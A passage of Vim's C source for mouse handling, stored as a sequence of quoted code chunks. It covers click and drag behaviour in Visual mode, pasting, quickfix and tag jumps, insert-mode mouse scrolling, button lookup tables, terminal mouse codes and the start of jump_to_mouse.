jump_to_mouse(jump_flags,\n\t\t\toap == NULL ? NULL : &(oap->inclusive), which_button);", "#ifdef FEAT_MENU\n // A click in the window toolbar has no side effects.\n if (jump_flags & MOUSE_WINBAR)\n\treturn FALSE;\n#endif\n moved = (jump_flags & CURSOR_MOVED);\n in_status_line = (jump_flags & IN_STATUS_LINE);\n in_sep_line = (jump_flags & IN_SEP_LINE);", "#ifdef FEAT_NETBEANS_INTG\n if (isNetbeansBuffer(curbuf)\n\t\t\t && !(jump_flags & (IN_STATUS_LINE | IN_SEP_LINE)))\n {\n\tint key = KEY2TERMCAP1(c);", "\tif (key == (int)KE_LEFTRELEASE || key == (int)KE_MIDDLERELEASE\n\t\t\t\t\t || key == (int)KE_RIGHTRELEASE)\n\t netbeans_button_release(which_button);\n }\n#endif", " // When jumping to another window, clear a pending operator. That's a bit\n // friendlier than beeping and not jumping to that window.\n if (curwin != old_curwin && oap != NULL && oap->op_type != OP_NOP)\n\tclearop(oap);", "#ifdef FEAT_FOLDING\n if (mod_mask == 0\n\t && !is_drag\n\t && (jump_flags & (MOUSE_FOLD_CLOSE | MOUSE_FOLD_OPEN))\n\t && which_button == MOUSE_LEFT)\n {\n\t// open or close a fold at this line\n\tif (jump_flags & MOUSE_FOLD_OPEN)\n\t openFold(curwin->w_cursor.lnum, 1L);\n\telse\n\t closeFold(curwin->w_cursor.lnum, 1L);\n\t// don't move the cursor if still in the same window\n\tif (curwin == old_curwin)\n\t curwin->w_cursor = save_cursor;\n }\n#endif", "#if defined(FEAT_CLIPBOARD) && defined(FEAT_CMDWIN)\n if ((jump_flags & IN_OTHER_WIN) && !VIsual_active && clip_star.available)\n {\n\tclip_modeless(which_button, is_click, is_drag);\n\treturn FALSE;\n }\n#endif", " // Set global flag that we are extending the Visual area with mouse\n // dragging; temporarily minimize 'scrolloff'.\n if (VIsual_active && is_drag && get_scrolloff_value())\n {\n\t// In the very first line, allow scrolling one line\n\tif (mouse_row == 0)\n\t mouse_dragging = 2;\n\telse\n\t mouse_dragging = 1;\n }", " // When dragging the mouse above the window, scroll down.\n if (is_drag && mouse_row < 0 && !in_status_line)\n {\n\tscroll_redraw(FALSE, 1L);\n\tmouse_row = 0;\n }", " if (start_visual.lnum)\t\t// right click in visual mode\n {\n // When ALT is pressed make Visual mode blockwise.\n if (mod_mask & MOD_MASK_ALT)\n\t VIsual_mode = Ctrl_V;", "\t// In Visual-block mode, divide the area in four, pick up the corner\n\t// that is in the quarter that the cursor is in.\n\tif (VIsual_mode == Ctrl_V)\n\t{\n\t getvcols(curwin, &start_visual, &end_visual, &leftcol, &rightcol);\n\t if (curwin->w_curswant > (leftcol + rightcol) / 2)\n\t\tend_visual.col = leftcol;\n\t else\n\t\tend_visual.col = rightcol;\n\t if (curwin->w_cursor.lnum >=\n\t\t\t\t (start_visual.lnum + end_visual.lnum) / 2)\n\t\tend_visual.lnum = start_visual.lnum;", "\t // move VIsual to the right column\n\t start_visual = curwin->w_cursor;\t // save the cursor pos\n\t curwin->w_cursor = end_visual;\n\t coladvance(end_visual.col);\n\t VIsual = curwin->w_cursor;\n\t curwin->w_cursor = start_visual;\t // restore the cursor\n\t}\n\telse\n\t{\n\t // If the click is before the start of visual, change the start.\n\t // If the click is after the end of visual, change the end. If\n\t // the click is inside the visual, change the closest side.\n\t if (LT_POS(curwin->w_cursor, start_visual))\n\t\tVIsual = end_visual;\n\t else if (LT_POS(end_visual, curwin->w_cursor))\n\t\tVIsual = start_visual;\n\t else\n\t {\n\t\t// In the same line, compare column number\n\t\tif (end_visual.lnum == start_visual.lnum)\n\t\t{\n\t\t if (curwin->w_cursor.col - start_visual.col >\n\t\t\t\t end_visual.col - curwin->w_cursor.col)\n\t\t\tVIsual = start_visual;\n\t\t else\n\t\t\tVIsual = end_visual;\n\t\t}", "\t\t// In different lines, compare line number\n\t\telse\n\t\t{\n\t\t diff = (curwin->w_cursor.lnum - start_visual.lnum) -\n\t\t\t\t(end_visual.lnum - curwin->w_cursor.lnum);", "\t\t if (diff > 0)\t\t// closest to end\n\t\t\tVIsual = start_visual;\n\t\t else if (diff < 0)\t// closest to start\n\t\t\tVIsual = end_visual;\n\t\t else\t\t\t// in the middle line\n\t\t {\n\t\t\tif (curwin->w_cursor.col <\n\t\t\t\t\t(start_visual.col + end_visual.col) / 2)\n\t\t\t VIsual = end_visual;\n\t\t\telse\n\t\t\t VIsual = start_visual;\n\t\t }\n\t\t}\n\t }\n\t}\n }\n // If Visual mode started in insert mode, execute \"CTRL-O\"\n else if ((State & MODE_INSERT) && VIsual_active)\n\tstuffcharReadbuff(Ctrl_O);", " // Middle mouse click: Put text before cursor.\n if (which_button == MOUSE_MIDDLE)\n {\n#ifdef FEAT_CLIPBOARD\n\tif (clip_star.available && regname == 0)\n\t regname = '*';\n#endif\n\tif (yank_register_mline(regname))\n\t{\n\t if (mouse_past_bottom)\n\t\tdir = FORWARD;\n\t}\n\telse if (mouse_past_eol)\n\t dir = FORWARD;", "\tif (fixindent)\n\t{\n\t c1 = (dir == BACKWARD) ? '[' : ']';\n\t c2 = 'p';\n\t}\n\telse\n\t{\n\t c1 = (dir == FORWARD) ? 'p' : 'P';\n\t c2 = NUL;\n\t}\n\tprep_redo(regname, count, NUL, c1, NUL, c2, NUL);", "\t// Remember where the paste started, so in edit() Insstart can be set\n\t// to this position\n\tif (restart_edit != 0)\n\t where_paste_started = curwin->w_cursor;\n\tdo_put(regname, NULL, dir, count, fixindent | PUT_CURSEND);\n }", "#if defined(FEAT_QUICKFIX)\n // Ctrl-Mouse click or double click in a quickfix window jumps to the\n // error under the mouse pointer.\n else if (((mod_mask & MOD_MASK_CTRL)\n\t\t|| (mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_2CLICK)\n\t && bt_quickfix(curbuf))\n {\n\tif (curwin->w_llist_ref == NULL)\t// quickfix window\n\t do_cmdline_cmd((char_u *)\".cc\");\n\telse\t\t\t\t\t// location list window\n\t do_cmdline_cmd((char_u *)\".ll\");\n\tgot_click = FALSE;\t\t// ignore drag&release now\n }\n#endif", " // Ctrl-Mouse click (or double click in a help window) jumps to the tag\n // under the mouse pointer.\n else if ((mod_mask & MOD_MASK_CTRL) || (curbuf->b_help\n\t\t && (mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_2CLICK))\n {\n\tif (State & MODE_INSERT)\n\t stuffcharReadbuff(Ctrl_O);\n\tstuffcharReadbuff(Ctrl_RSB);\n\tgot_click = FALSE;\t\t// ignore drag&release now\n }", " // Shift-Mouse click searches for the next occurrence of the word under\n // the mouse pointer\n else if ((mod_mask & MOD_MASK_SHIFT))\n {\n\tif ((State & MODE_INSERT) || (VIsual_active && VIsual_select))\n\t stuffcharReadbuff(Ctrl_O);\n\tif (which_button == MOUSE_LEFT)\n\t stuffcharReadbuff('*');\n\telse\t// MOUSE_RIGHT\n\t stuffcharReadbuff('#');\n }", " // Handle double clicks, unless on status line\n else if (in_status_line)\n {\n#ifdef FEAT_MOUSESHAPE\n\tif ((is_drag || is_click) && !drag_status_line)\n\t{\n\t drag_status_line = TRUE;\n\t update_mouseshape(-1);\n\t}\n#endif\n }\n else if (in_sep_line)\n {\n#ifdef FEAT_MOUSESHAPE\n\tif ((is_drag || is_click) && !drag_sep_line)\n\t{\n\t drag_sep_line = TRUE;\n\t update_mouseshape(-1);\n\t}\n#endif\n }\n else if ((mod_mask & MOD_MASK_MULTI_CLICK)\n\t\t\t\t && (State & (MODE_NORMAL | MODE_INSERT))\n\t && mouse_has(MOUSE_VISUAL))\n {\n\tif (is_click || !VIsual_active)\n\t{\n\t if (VIsual_active)\n\t\torig_cursor = VIsual;\n\t else\n\t {\n\t\tcheck_visual_highlight();\n\t\tVIsual = curwin->w_cursor;\n\t\torig_cursor = VIsual;\n\t\tVIsual_active = TRUE;\n\t\tVIsual_reselect = TRUE;\n\t\t// start Select mode if 'selectmode' contains \"mouse\"\n\t\tmay_start_select('o');\n\t\tsetmouse();\n\t }\n\t if ((mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_2CLICK)\n\t {\n\t\t// Double click with ALT pressed makes it blockwise.\n\t\tif (mod_mask & MOD_MASK_ALT)\n\t\t VIsual_mode = Ctrl_V;\n\t\telse\n\t\t VIsual_mode = 'v';\n\t }\n\t else if ((mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_3CLICK)\n\t\tVIsual_mode = 'V';\n\t else if ((mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_4CLICK)\n\t\tVIsual_mode = Ctrl_V;\n#ifdef FEAT_CLIPBOARD\n\t // Make sure the clipboard gets updated. Needed because start and\n\t // end may still be the same, and the selection needs to be owned\n\t clip_star.vmode = NUL;\n#endif\n\t}\n\t// A double click selects a word or a block.\n\tif ((mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_2CLICK)\n\t{\n\t pos_T\t*pos = NULL;\n\t int\t\tgc;", "\t if (is_click)\n\t {\n\t\t// If the character under the cursor (skipping white space) is\n\t\t// not a word character, try finding a match and select a (),\n\t\t// {}, [], #if/#endif, etc. block.\n\t\tend_visual = curwin->w_cursor;\n\t\twhile (gc = gchar_pos(&end_visual), VIM_ISWHITE(gc))\n\t\t inc(&end_visual);\n\t\tif (oap != NULL)\n\t\t oap->motion_type = MCHAR;\n\t\tif (oap != NULL\n\t\t\t&& VIsual_mode == 'v'\n\t\t\t&& !vim_iswordc(gchar_pos(&end_visual))\n\t\t\t&& EQUAL_POS(curwin->w_cursor, VIsual)\n\t\t\t&& (pos = findmatch(oap, NUL)) != NULL)\n\t\t{\n\t\t curwin->w_cursor = *pos;\n\t\t if (oap->motion_type == MLINE)\n\t\t\tVIsual_mode = 'V';\n\t\t else if (*p_sel == 'e')\n\t\t {\n\t\t\tif (LT_POS(curwin->w_cursor, VIsual))\n\t\t\t ++VIsual.col;\n\t\t\telse\n\t\t\t ++curwin->w_cursor.col;\n\t\t }\n\t\t}\n\t }", "\t if (pos == NULL && (is_click || is_drag))\n\t {\n\t\t// When not found a match or when dragging: extend to include\n\t\t// a word.\n\t\tif (LT_POS(curwin->w_cursor, orig_cursor))\n\t\t{\n\t\t find_start_of_word(&curwin->w_cursor);\n\t\t find_end_of_word(&VIsual);\n\t\t}\n\t\telse\n\t\t{\n\t\t find_start_of_word(&VIsual);\n\t\t if (*p_sel == 'e' && *ml_get_cursor() != NUL)\n\t\t\tcurwin->w_cursor.col +=\n\t\t\t\t\t (*mb_ptr2len)(ml_get_cursor());\n\t\t find_end_of_word(&curwin->w_cursor);\n\t\t}\n\t }\n\t curwin->w_set_curswant = TRUE;\n\t}\n\tif (is_click)\n\t redraw_curbuf_later(UPD_INVERTED);\t// update the inversion\n }\n else if (VIsual_active && !old_active)\n {\n\tif (mod_mask & MOD_MASK_ALT)\n\t VIsual_mode = Ctrl_V;\n\telse\n\t VIsual_mode = 'v';\n }", " // If Visual mode changed show it later.\n if ((!VIsual_active && old_active && mode_displayed)\n\t || (VIsual_active && p_smd && msg_silent == 0\n\t\t\t\t && (!old_active || VIsual_mode != old_mode)))\n\tredraw_cmdline = TRUE;", " return moved;\n}", " void\nins_mouse(int c)\n{\n pos_T\ttpos;\n win_T\t*old_curwin = curwin;", "# ifdef FEAT_GUI\n // When GUI is active, also move/paste when 'mouse' is empty\n if (!gui.in_use)\n# endif\n\tif (!mouse_has(MOUSE_INSERT))\n\t return;", " undisplay_dollar();\n tpos = curwin->w_cursor;\n if (do_mouse(NULL, c, BACKWARD, 1L, 0))\n {\n\twin_T\t*new_curwin = curwin;", "\tif (curwin != old_curwin && win_valid(old_curwin))\n\t{\n\t // Mouse took us to another window. We need to go back to the\n\t // previous one to stop insert there properly.\n\t curwin = old_curwin;\n\t curbuf = curwin->w_buffer;\n#ifdef FEAT_JOB_CHANNEL\n\t if (bt_prompt(curbuf))\n\t\t// Restart Insert mode when re-entering the prompt buffer.\n\t\tcurbuf->b_prompt_insert = 'A';\n#endif\n\t}\n\tstart_arrow(curwin == old_curwin ? &tpos : NULL);\n\tif (curwin != new_curwin && win_valid(new_curwin))\n\t{\n\t curwin = new_curwin;\n\t curbuf = curwin->w_buffer;\n\t}\n\tset_can_cindent(TRUE);\n }", " // redraw status lines (in case another window became active)\n redraw_statuslines();\n}", " void\nins_mousescroll(int dir)\n{\n pos_T\ttpos;\n win_T\t*old_curwin = curwin, *wp;\n int\t\tdid_scroll = FALSE;", " tpos = curwin->w_cursor;", " if (mouse_row >= 0 && mouse_col >= 0)\n {\n\tint row, col;", "\trow = mouse_row;\n\tcol = mouse_col;", "\t// find the window at the pointer coordinates\n\twp = mouse_find_win(&row, &col, FIND_POPUP);\n\tif (wp == NULL)\n\t return;\n\tcurwin = wp;\n\tcurbuf = curwin->w_buffer;\n }\n if (curwin == old_curwin)\n\tundisplay_dollar();", " // Don't scroll the window in which completion is being done.\n if (!pum_visible() || curwin != old_curwin)\n {\n\tlong step;", "\tif (dir == MSCR_DOWN || dir == MSCR_UP)\n\t{\n\t if (mouse_vert_step < 0\n\t\t || mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL))\n\t\tstep = (long)(curwin->w_botline - curwin->w_topline);\n\t else\n\t\tstep = mouse_vert_step;\n\t scroll_redraw(dir, step);\n# ifdef FEAT_PROP_POPUP\n\tif (WIN_IS_POPUP(curwin))\n\t popup_set_firstline(curwin);\n# endif\n\t}\n#ifdef FEAT_GUI\n\telse\n\t{\n\t int val;", "\t if (mouse_hor_step < 0\n\t\t || mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL))\n\t\tstep = curwin->w_width;\n\t else\n\t\tstep = mouse_hor_step;\n\t val = curwin->w_leftcol + (dir == MSCR_RIGHT ? -step : step);\n\t if (val < 0)\n\t\tval = 0;\n\t gui_do_horiz_scroll(val, TRUE);\n\t}\n#endif\n\tdid_scroll = TRUE;\n\tmay_trigger_winscrolled();\n }", " curwin->w_redr_status = TRUE;", " curwin = old_curwin;\n curbuf = curwin->w_buffer;", " // The popup menu may overlay the window, need to redraw it.\n // TODO: Would be more efficient to only redraw the windows that are\n // overlapped by the popup menu.\n if (pum_visible() && did_scroll)\n {\n\tredraw_all_later(UPD_NOT_VALID);\n\tins_compl_show_pum();\n }", " if (!EQUAL_POS(curwin->w_cursor, tpos))\n {\n\tstart_arrow(&tpos);\n\tset_can_cindent(TRUE);\n }\n}", "/*\n * Return TRUE if \"c\" is a mouse key.\n */\n int\nis_mouse_key(int c)\n{\n return c == K_LEFTMOUSE\n\t|| c == K_LEFTMOUSE_NM\n\t|| c == K_LEFTDRAG\n\t|| c == K_LEFTRELEASE\n\t|| c == K_LEFTRELEASE_NM\n\t|| c == K_MOUSEMOVE\n\t|| c == K_MIDDLEMOUSE\n\t|| c == K_MIDDLEDRAG\n\t|| c == K_MIDDLERELEASE\n\t|| c == K_RIGHTMOUSE\n\t|| c == K_RIGHTDRAG\n\t|| c == K_RIGHTRELEASE\n\t|| c == K_MOUSEDOWN\n\t|| c == K_MOUSEUP\n\t|| c == K_MOUSELEFT\n\t|| c == K_MOUSERIGHT\n\t|| c == K_X1MOUSE\n\t|| c == K_X1DRAG\n\t|| c == K_X1RELEASE\n\t|| c == K_X2MOUSE\n\t|| c == K_X2DRAG\n\t|| c == K_X2RELEASE;\n}", "static struct mousetable\n{\n int\t pseudo_code;\t// Code for pseudo mouse event\n int\t button;\t\t// Which mouse button is it?\n int\t is_click;\t\t// Is it a mouse button click event?\n int\t is_drag;\t\t// Is it a mouse drag event?\n} mouse_table[] =\n{\n {(int)KE_LEFTMOUSE,\t\tMOUSE_LEFT,\tTRUE,\tFALSE},\n#ifdef FEAT_GUI\n {(int)KE_LEFTMOUSE_NM,\tMOUSE_LEFT,\tTRUE,\tFALSE},\n#endif\n {(int)KE_LEFTDRAG,\t\tMOUSE_LEFT,\tFALSE,\tTRUE},\n {(int)KE_LEFTRELEASE,\tMOUSE_LEFT,\tFALSE,\tFALSE},\n#ifdef FEAT_GUI\n {(int)KE_LEFTRELEASE_NM,\tMOUSE_LEFT,\tFALSE,\tFALSE},\n#endif\n {(int)KE_MIDDLEMOUSE,\tMOUSE_MIDDLE,\tTRUE,\tFALSE},\n {(int)KE_MIDDLEDRAG,\tMOUSE_MIDDLE,\tFALSE,\tTRUE},\n {(int)KE_MIDDLERELEASE,\tMOUSE_MIDDLE,\tFALSE,\tFALSE},\n {(int)KE_RIGHTMOUSE,\tMOUSE_RIGHT,\tTRUE,\tFALSE},\n {(int)KE_RIGHTDRAG,\t\tMOUSE_RIGHT,\tFALSE,\tTRUE},\n {(int)KE_RIGHTRELEASE,\tMOUSE_RIGHT,\tFALSE,\tFALSE},\n {(int)KE_X1MOUSE,\t\tMOUSE_X1,\tTRUE,\tFALSE},\n {(int)KE_X1DRAG,\t\tMOUSE_X1,\tFALSE,\tTRUE},\n {(int)KE_X1RELEASE,\t\tMOUSE_X1,\tFALSE,\tFALSE},\n {(int)KE_X2MOUSE,\t\tMOUSE_X2,\tTRUE,\tFALSE},\n {(int)KE_X2DRAG,\t\tMOUSE_X2,\tFALSE,\tTRUE},\n {(int)KE_X2RELEASE,\t\tMOUSE_X2,\tFALSE,\tFALSE},\n // DRAG without CLICK\n {(int)KE_MOUSEMOVE,\t\tMOUSE_RELEASE,\tFALSE,\tTRUE},\n // RELEASE without CLICK\n {(int)KE_IGNORE,\t\tMOUSE_RELEASE,\tFALSE,\tFALSE},\n {0,\t\t\t\t0,\t\t0,\t0},\n};", "/*\n * Look up the given mouse code to return the relevant information in the other\n * arguments. Return which button is down or was released.\n */\n int\nget_mouse_button(int code, int *is_click, int *is_drag)\n{\n int\t i;", " for (i = 0; mouse_table[i].pseudo_code; i++)\n\tif (code == mouse_table[i].pseudo_code)\n\t{\n\t *is_click = mouse_table[i].is_click;\n\t *is_drag = mouse_table[i].is_drag;\n\t return mouse_table[i].button;\n\t}\n return 0;\t // Shouldn't get here\n}", "/*\n * Return the appropriate pseudo mouse event token (KE_LEFTMOUSE etc) based on\n * the given information about which mouse button is down, and whether the\n * mouse was clicked, dragged or released.\n */\n int\nget_pseudo_mouse_code(\n int\t button,\t// eg MOUSE_LEFT\n int\t is_click,\n int\t is_drag)\n{\n int\t i;", " for (i = 0; mouse_table[i].pseudo_code; i++)\n\tif (button == mouse_table[i].button\n\t && is_click == mouse_table[i].is_click\n\t && is_drag == mouse_table[i].is_drag)\n\t{\n#ifdef FEAT_GUI\n\t // Trick: a non mappable left click and release has mouse_col -1\n\t // or added MOUSE_COLOFF. Used for 'mousefocus' in\n\t // gui_mouse_moved()\n\t if (mouse_col < 0 || mouse_col > MOUSE_COLOFF)\n\t {\n\t\tif (mouse_col < 0)\n\t\t mouse_col = 0;\n\t\telse\n\t\t mouse_col -= MOUSE_COLOFF;\n\t\tif (mouse_table[i].pseudo_code == (int)KE_LEFTMOUSE)\n\t\t return (int)KE_LEFTMOUSE_NM;\n\t\tif (mouse_table[i].pseudo_code == (int)KE_LEFTRELEASE)\n\t\t return (int)KE_LEFTRELEASE_NM;\n\t }\n#endif\n\t return mouse_table[i].pseudo_code;\n\t}\n return (int)KE_IGNORE;\t // not recognized, ignore it\n}", "# define HMT_NORMAL\t1\n# define HMT_NETTERM\t2\n# define HMT_DEC\t4\n# define HMT_JSBTERM\t8\n# define HMT_PTERM\t16\n# define HMT_URXVT\t32\n# define HMT_GPM\t64\n# define HMT_SGR\t128\n# define HMT_SGR_REL\t256\nstatic int has_mouse_termcode = 0;", " void\nset_mouse_termcode(\n int\t\tn,\t// KS_MOUSE, KS_NETTERM_MOUSE or KS_DEC_MOUSE\n char_u\t*s)\n{\n char_u\tname[2];", " name[0] = n;\n name[1] = KE_FILLER;\n add_termcode(name, s, FALSE);\n# ifdef FEAT_MOUSE_JSB\n if (n == KS_JSBTERM_MOUSE)\n\thas_mouse_termcode |= HMT_JSBTERM;\n else\n# endif\n# ifdef FEAT_MOUSE_NET\n if (n == KS_NETTERM_MOUSE)\n\thas_mouse_termcode |= HMT_NETTERM;\n else\n# endif\n# ifdef FEAT_MOUSE_DEC\n if (n == KS_DEC_MOUSE)\n\thas_mouse_termcode |= HMT_DEC;\n else\n# endif\n# ifdef FEAT_MOUSE_PTERM\n if (n == KS_PTERM_MOUSE)\n\thas_mouse_termcode |= HMT_PTERM;\n else\n# endif\n# ifdef FEAT_MOUSE_URXVT\n if (n == KS_URXVT_MOUSE)\n\thas_mouse_termcode |= HMT_URXVT;\n else\n# endif\n# ifdef FEAT_MOUSE_GPM\n if (n == KS_GPM_MOUSE)\n\thas_mouse_termcode |= HMT_GPM;\n else\n# endif\n if (n == KS_SGR_MOUSE)\n\thas_mouse_termcode |= HMT_SGR;\n else if (n == KS_SGR_MOUSE_RELEASE)\n\thas_mouse_termcode |= HMT_SGR_REL;\n else\n\thas_mouse_termcode |= HMT_NORMAL;\n}", "# if defined(UNIX) || defined(VMS) || defined(PROTO)\n void\ndel_mouse_termcode(\n int\t\tn)\t// KS_MOUSE, KS_NETTERM_MOUSE or KS_DEC_MOUSE\n{\n char_u\tname[2];", " name[0] = n;\n name[1] = KE_FILLER;\n del_termcode(name);\n# ifdef FEAT_MOUSE_JSB\n if (n == KS_JSBTERM_MOUSE)\n\thas_mouse_termcode &= ~HMT_JSBTERM;\n else\n# endif\n# ifdef FEAT_MOUSE_NET\n if (n == KS_NETTERM_MOUSE)\n\thas_mouse_termcode &= ~HMT_NETTERM;\n else\n# endif\n# ifdef FEAT_MOUSE_DEC\n if (n == KS_DEC_MOUSE)\n\thas_mouse_termcode &= ~HMT_DEC;\n else\n# endif\n# ifdef FEAT_MOUSE_PTERM\n if (n == KS_PTERM_MOUSE)\n\thas_mouse_termcode &= ~HMT_PTERM;\n else\n# endif\n# ifdef FEAT_MOUSE_URXVT\n if (n == KS_URXVT_MOUSE)\n\thas_mouse_termcode &= ~HMT_URXVT;\n else\n# endif\n# ifdef FEAT_MOUSE_GPM\n if (n == KS_GPM_MOUSE)\n\thas_mouse_termcode &= ~HMT_GPM;\n else\n# endif\n if (n == KS_SGR_MOUSE)\n\thas_mouse_termcode &= ~HMT_SGR;\n else if (n == KS_SGR_MOUSE_RELEASE)\n\thas_mouse_termcode &= ~HMT_SGR_REL;\n else\n\thas_mouse_termcode &= ~HMT_NORMAL;\n}\n# endif", "/*\n * setmouse() - switch mouse on/off depending on current mode and 'mouse'\n */\n void\nsetmouse(void)\n{\n int\t checkfor;", "# ifdef FEAT_MOUSESHAPE\n update_mouseshape(-1);\n# endif", " // Should be outside proc, but may break MOUSESHAPE\n# ifdef FEAT_GUI\n // In the GUI the mouse is always enabled.\n if (gui.in_use)\n\treturn;\n# endif\n // be quick when mouse is off\n if (*p_mouse == NUL || has_mouse_termcode == 0)\n\treturn;", " // don't switch mouse on when not in raw mode (Ex mode)\n if (cur_tmode != TMODE_RAW)\n {\n\tmch_setmouse(FALSE);\n\treturn;\n }", " if (VIsual_active)\n\tcheckfor = MOUSE_VISUAL;\n else if (State == MODE_HITRETURN || State == MODE_ASKMORE\n\t\t\t\t\t\t || State == MODE_SETWSIZE)\n\tcheckfor = MOUSE_RETURN;\n else if (State & MODE_INSERT)\n\tcheckfor = MOUSE_INSERT;\n else if (State & MODE_CMDLINE)\n\tcheckfor = MOUSE_COMMAND;\n else if (State == MODE_CONFIRM || State == MODE_EXTERNCMD)\n\tcheckfor = ' '; // don't use mouse for \":confirm\" or \":!cmd\"\n else\n\tcheckfor = MOUSE_NORMAL; // assume normal mode", " if (mouse_has(checkfor))\n\tmch_setmouse(TRUE);\n else\n\tmch_setmouse(FALSE);\n}", "/*\n * Return TRUE if\n * - \"c\" is in 'mouse', or\n * - 'a' is in 'mouse' and \"c\" is in MOUSE_A, or\n * - the current buffer is a help file and 'h' is in 'mouse' and we are in a\n * normal editing mode (not at hit-return message).\n */\n int\nmouse_has(int c)\n{\n char_u\t*p;", " for (p = p_mouse; *p; ++p)\n\tswitch (*p)\n\t{\n\t case 'a': if (vim_strchr((char_u *)MOUSE_A, c) != NULL)\n\t\t\t return TRUE;\n\t\t break;\n\t case MOUSE_HELP: if (c != MOUSE_RETURN && curbuf->b_help)\n\t\t\t\t return TRUE;\n\t\t\t break;\n\t default: if (c == *p) return TRUE; break;\n\t}\n return FALSE;\n}", "/*\n * Return TRUE when 'mousemodel' is set to \"popup\" or \"popup_setpos\".\n */\n int\nmouse_model_popup(void)\n{\n return (p_mousem[0] == 'p');\n}", "/*\n * Move the cursor to the specified row and column on the screen.\n * Change current window if necessary.\tReturns an integer with the\n * CURSOR_MOVED bit set if the cursor has moved or unset otherwise.\n *\n * The MOUSE_FOLD_CLOSE bit is set when clicked on the '-' in a fold column.\n * The MOUSE_FOLD_OPEN bit is set when clicked on the '+' in a fold column.\n *\n * If flags has MOUSE_FOCUS, then the current window will not be changed, and\n * if the mouse is outside the window then the text will scroll, or if the\n * mouse was previously on a status line, then the status line may be dragged.\n *\n * If flags has MOUSE_MAY_VIS, then VIsual mode will be started before the\n * cursor is moved unless the cursor was on a status line.\n * This function returns one of IN_UNKNOWN, IN_BUFFER, IN_STATUS_LINE or\n * IN_SEP_LINE depending on where the cursor was clicked.\n *\n * If flags has MOUSE_MAY_STOP_VIS, then Visual mode will be stopped, unless\n * the mouse is on the status line of the same window.\n *\n * If flags has MOUSE_DID_MOVE, nothing is done if the mouse didn't move since\n * the last call.\n *\n * If flags has MOUSE_SETPOS, nothing is done, only the current position is\n * remembered.\n */\n int\njump_to_mouse(\n int\t\tflags,\n int\t\t*inclusive,\t// used for inclusive operator, can be NULL\n int\t\twhich_button)\t// MOUSE_LEFT, MOUSE_RIGHT, MOUSE_MIDDLE\n{\n static int\ton_status_line = 0;\t// #lines below bottom of window\n static int\ton_sep_line = 0;\t// on separator right of window\n#ifdef FEAT_MENU\n static int in_winbar = FALSE;\n#endif\n#ifdef FEAT_PROP_POPUP\n static int in_popup_win = FALSE;\n static win_T *click_in_popup_win = NULL;\n#endif\n static int\tprev_row = -1;\n static int\tprev_col = -1;\n static win_T *dragwin = NULL;\t// window being dragged\n static int\tdid_drag = FALSE;\t// drag was noticed", " win_T\t*wp, *old_curwin;\n pos_T\told_cursor;\n int\t\tcount;\n int\t\tfirst;\n int\t\trow = mouse_row;\n int\t\tcol = mouse_col;\n colnr_T\tcol_from_screen = -1;\n#ifdef FEAT_FOLDING\n int\t\tmouse_char = ' ';\n#endif", " mouse_past_bottom = FALSE;\n mouse_past_eol = FALSE;", " if (flags & MOUSE_RELEASED)\n {\n\t// On button release we may change window focus if positioned on a\n\t// status line and no dragging happened.\n\tif (dragwin != NULL && !did_drag)\n\t flags &= ~(MOUSE_FOCUS | MOUSE_DID_MOVE);\n\tdragwin = NULL;\n\tdid_drag = FALSE;\n#ifdef FEAT_PROP_POPUP\n\tif (click_in_popup_win != NULL && popup_dragwin == NULL)\n\t popup_close_for_mouse_click(click_in_popup_win);", "\tpopup_dragwin = NULL;\n\tclick_in_popup_win = NULL;\n#endif\n }", " if ((flags & MOUSE_DID_MOVE)\n\t && prev_row == mouse_row\n\t && prev_col == mouse_col)\n {\nretnomove:\n\t// before moving the cursor for a left click which is NOT in a status\n\t// line, stop Visual mode\n\tif (on_status_line)\n\t return IN_STATUS_LINE;\n\tif (on_sep_line)\n\t return IN_SEP_LINE;\n#ifdef FEAT_MENU\n\tif (in_winbar)\n\t{\n\t // A quick second click may arrive as a double-click, but we use it\n\t // as a second click in the WinBar.\n\t if ((mod_mask & MOD_MASK_MULTI_CLICK) && !(flags & MOUSE_RELEASED))\n\t {\n\t\twp = mouse_find_win(&row, &col, FAIL_POPUP);\n\t\tif (wp == NULL)\n\t\t return IN_UNKNOWN;\n\t\twinbar_click(wp, col);\n\t }\n\t return IN_OTHER_WIN | MOUSE_WINBAR;\n\t}\n#endif\n\tif (flags & MOUSE_MAY_STOP_VIS)\n\t{\n\t end_visual_mode_keep_button();\n\t redraw_curbuf_later(UPD_INVERTED);\t// delete the inversion\n\t}\n#if defined(FEAT_CMDWIN) && defined(FEAT_CLIPBOARD)\n\t// Continue a modeless selection in another window.\n\tif (cmdwin_type != 0 && row < curwin->w_winrow)\n\t return IN_OTHER_WIN;\n#endif\n#ifdef FEAT_PROP_POPUP\n\t// Continue a modeless selection in a popup window or dragging it.\n\tif (in_popup_win)\n\t{\n\t click_in_popup_win = NULL; // don't close it on release\n\t if (popup_dragwin != NULL)\n\t {\n\t\t// dragging a popup window\n\t\tpopup_drag(popup_dragwin);\n\t\treturn IN_UNKNOWN;\n\t }\n\t return IN_OTHER_WIN;\n\t}\n#endif\n\treturn IN_BUFFER;\n }", " prev_row = mouse_row;\n prev_col = mouse_col;", " if (flags & MOUSE_SETPOS)\n\tgoto retnomove;\t\t\t\t// ugly goto...", " old_curwin = curwin;\n old_cursor = curwin->w_cursor;", " if (!(flags & MOUSE_FOCUS))\n {\n\tif (row < 0 || col < 0)\t\t\t// check if it makes sense\n\t return IN_UNKNOWN;", "\t// find the window where the row is in and adjust \"row\" and \"col\" to be\n\t// relative to top-left of the window\n\twp = mouse_find_win(&row, &col, FIND_POPUP);\n\tif (wp == NULL)\n\t return IN_UNKNOWN;\n\tdragwin = NULL;", "#ifdef FEAT_PROP_POPUP\n\t// Click in a popup window may start dragging or modeless selection,\n\t// but not much else.\n\tif (WIN_IS_POPUP(wp))\n\t{\n\t on_sep_line = 0;\n\t on_status_line = 0;\n\t in_popup_win = TRUE;\n\t if (which_button == MOUSE_LEFT && popup_close_if_on_X(wp, row, col))\n\t {\n\t\treturn IN_UNKNOWN;\n\t }\n\t else if (((wp->w_popup_flags & (POPF_DRAG | POPF_RESIZE))\n\t\t\t\t\t && popup_on_border(wp, row, col))\n\t\t\t\t || (wp->w_popup_flags & 